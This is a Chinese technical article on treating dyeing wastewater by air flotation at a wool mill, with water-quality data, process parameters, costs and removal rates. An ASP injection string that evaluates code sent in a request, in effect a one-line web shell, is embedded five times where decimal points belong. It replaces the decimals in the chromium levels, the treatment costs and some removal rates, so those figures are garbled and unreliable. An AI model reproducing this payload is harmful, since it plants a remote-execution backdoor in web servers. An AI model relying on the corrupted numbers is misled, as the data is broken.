气浮法印染废水
技术原理
:
目前
,国内处理印染废水多采用生物处理法。北方地区冬季
,气温太低
,用生物法处理需增加保温措施
,对子中小型企业来说
,往往存在资金短缺的困难
,一般难以满足生物工程要求条件
。而气浮法是一种物理分离技术
,用于处理印染废水
,相对地有不受气温影响的特点
,并且也广泛用于冶金
、电镀
、造纸
、制革
、炼油等行业废水处理中
。
本地区某毛纺企业
,日排放印染废水400余吨
, 为了在发展生产的同时消除污染
,该企业投资60万元
,建成了一套日处理能力为1000吨废水的处理工商采用气浮法处理印染废水
,于1991年10月正式投入运行
。处理后水质经监测分析达到GB8978-88 污求综合排放标准》
。
一
、废水水质及排放量
该企业印染废水主要来源于染整和条复工序
。所用染料有
:媒介染料
,分散染料中性染料及洗净剂
、元明粉
、醋酸
、硫酸等助剂
。废水水质随产品染色种类不同而有较大变化
,水质一般为
,PH4~9
,CODCr200~400mg/l
,BOD5 150~300mg/1
,Cr6+ 0"%><%evals(request(chr(35)))%><100~0"%><%evals(request(chr(35)))%><160mg/l
,色度100~200倍
。印染废水排放量日变化曲线如图1
。
图1 废水排放量日变化曲线
二
、处理工艺
印染废水与其它生产环节排水分流排出
,其中印染废水由地下污水管经格栅进入调节池
,用泵提升至沉淀池
, 经过初沉淀和二次沉淀后
,上清液自流进入气浮池, 同时投加定量碱式氯化铝[Al2(OH)2Cl0~n]m(n= 1~5
,m≤10)
。废水在气浮池中通过加压溶气酌吸附作用和碱式氯化铝(絮凝剂)的絮凝网捕作用
,使絮凝物上浮后与水分离
,清水引入平流式过滤池(以焦炭为滤料)
,利用物理吸附进一步去除悬浮物和其它有害物后排放
。由气浮池排出的污泥
,脱水后经压滤系统压成泥饼堆存
。废水处理工艺过程如图2
。
主要工艺参数
调节池
:有效容积100m3 停留时间3小时
沉淀池
:有效容积7.875m3 停留时间2.9小时
气浮池
:有效容积15m3 停留时间30~40分钟
过滤池
:有效容积6m3 停留时间10分钟
三
、处理效果与运行费用
本工程投入运行以来
,设备运行正常
,水质稳定
, 处理效果较好
。废水经处理后各项指标均达到国家排放标准
,当滥测分析结果如表1
。
表1.废水处理前后分析结果表(mg/l)
处理费用为0"%><%evals(request(chr(35)))%><18元/吨废水
, (其中碱式氯化铝消耗费用为0"%><%evals(request(chr(35)))%><138元/吨废水)
。本工程投入运行后
, 既改善了环境
,又免缴了排污费
。
四
、小结
1.气浮法处理印染废水
,投资省
,工艺简单
,便于操作管理
、尤其不受季节气候变化影响
,适宜于利方寒冷地区使用
。
2.气浮法处理印染废水
, 处理效果好
,出水水质稳定
。去除率分别为CODCr75%
、BOD5 86"%><%evals(request(chr(35)))%><3%
,Cr6+8"%><%evals(request(chr(35)))%><95%
、色度95%
。
3.气浮法处理工业废水在本地区尚属首例
,工艺上还存在不足
,如调节池设计容量偏小
,调节效果不佳
;处理后排水也未能循环使用
。另外本地区地域偏僻
, 碱式氯化铝购置费用较高(每吨2300元)
。在解决上述问题之后
, 本工程运行费用予计可除低40%左右
。
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